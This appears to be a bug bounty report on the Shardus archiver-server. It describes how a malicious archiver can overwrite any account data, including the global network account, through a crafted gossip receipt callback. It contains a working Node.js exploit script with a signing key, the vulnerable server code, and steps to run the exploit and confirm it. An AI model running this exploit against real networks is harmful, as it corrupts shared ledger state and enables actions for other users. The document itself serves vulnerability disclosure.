Taking state-modifying authenticated actions (with or without blockchain state interaction) on behalf of other users without any interaction by that user, such as: Changing registration information, Commenting, Voting, Making trades, Withdrawals, etc.
Description
Brief/Intro
A malicious archiver can connect to the network, become a valid active archiver, and overwrite any user account data across all active archivers, including global accounts.
Vulnerability Details
It is possible to create a malicious archiver based on the archiver-server repository and connect it to the network. There are no restrictions on who can create and connect an archiver to the network. When a malicious archiver is connected, it can initiate a gossip request with a fake receipt ID to the victim archiver. Exploit code:
import axios from 'axios';
import * as core from '@shardus/crypto-utils'
import { Utils as StringUtils } from '@shardus/types'
const TARGET_URL='http://127.0.0.1:4000'
const PRIVATE_KEY='3ea2ee94d1de9ef0e59a08af12aad53375cab0857f73fe243184c6f85edefb39e8a5c26b9e2c3c31eb7c7d73eaed9484374c16d983ce95f3ab18a62521964a94'
const PUBLIC_KEY='e8a5c26b9e2c3c31eb7c7d73eaed9484374c16d983ce95f3ab18a62521964a94'
export function sign(obj) {
const objCopy = StringUtils.safeJsonParse(core.stringify(obj))
core.signObj(objCopy, PRIVATE_KEY, PUBLIC_KEY)
return objCopy
}
async function main(){
console.log('exploiting archiver-server')
const txid = process.argv[2]
core.init('69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc')
let payload = {
'dataType': 'RECEIPT',
'data': [{'txId': txid, 'timestamp': 1}],
}
payload = sign(payload)
const r = await axios.post(TARGET_URL + '/gossip-data', payload)
console.log('success', r.data)
}
main()
The victim archiver will send a request back to the malicious archiver for details about the receipt. Here is the code that sends the request back to the malicious archiver
export const collectMissingReceipts = async (
senders: string[],
txId: string,
txTimestamp: number
): Promise<void> => {
const txIdList: [string, number][] = [[txId, txTimestamp]]
let foundTxData = false
const senderArchivers = State.activeArchivers.filter((archiver) => senders.includes(archiver.publicKey))
Logger.mainLogger.debug(
`Collecting missing receipt for txId ${txId} with timestamp ${txTimestamp} from archivers`,
senderArchivers.map((a) => a.ip + ':' + a.port)
)
for (const senderArchiver of senderArchivers) {
if (
(processedReceiptsMap.has(txId) && processedReceiptsMap.get(txId) === txTimestamp) ||
(receiptsInValidationMap.has(txId) && receiptsInValidationMap.get(txId) === txTimestamp)
) {
foundTxData = true
break
}
const receipts = (await queryTxDataFromArchivers(
senderArchiver,
DataType.RECEIPT,
txIdList
)) as Receipt.Receipt[]
if (receipts && receipts.length > 0) {
for (const receipt of receipts) {
const { receiptId, timestamp } = receipt
if (txId === receiptId && txTimestamp === timestamp) {
storeReceiptData([receipt], senderArchiver.ip + ':' + senderArchiver.port, true)
foundTxData = true
}
}
}
if (foundTxData) break
}
if (!foundTxData) {
Logger.mainLogger.error(
`Failed to collect receipt for txId ${txId} with timestamp ${txTimestamp} from archivers ${senders}`
)
}
collectingMissingOriginalTxsMap.delete(txId)
}
If the receipt is valid, the victim archiver will store the receipt in a database by calling the storeReceiptData function. A malicious archiver can craft a receipt payload in a way that will overwrite existing account data. Patch file for the malicious archiver:
Run the exploit. It will send a gossip request to the main archiver. Please provide a unique ID as a command line parameter each time you run the exploit. For example:
node exploit.js 111
The main archiver will send a request to the malicious archiver.
The malicious archiver will respond with crafted account data that will replace the global network account, which will be used as a configuration source for all new validators started in the network.
On the victim archiver, go to the archiver database in server/instances/archiver-db-4000:
sqlite3 archiverdb-4000.sqlite3
Check that the global network account was changed:
select data from accounts where accountId = '1000000000000000000000000000000000000000000000000000000000000001';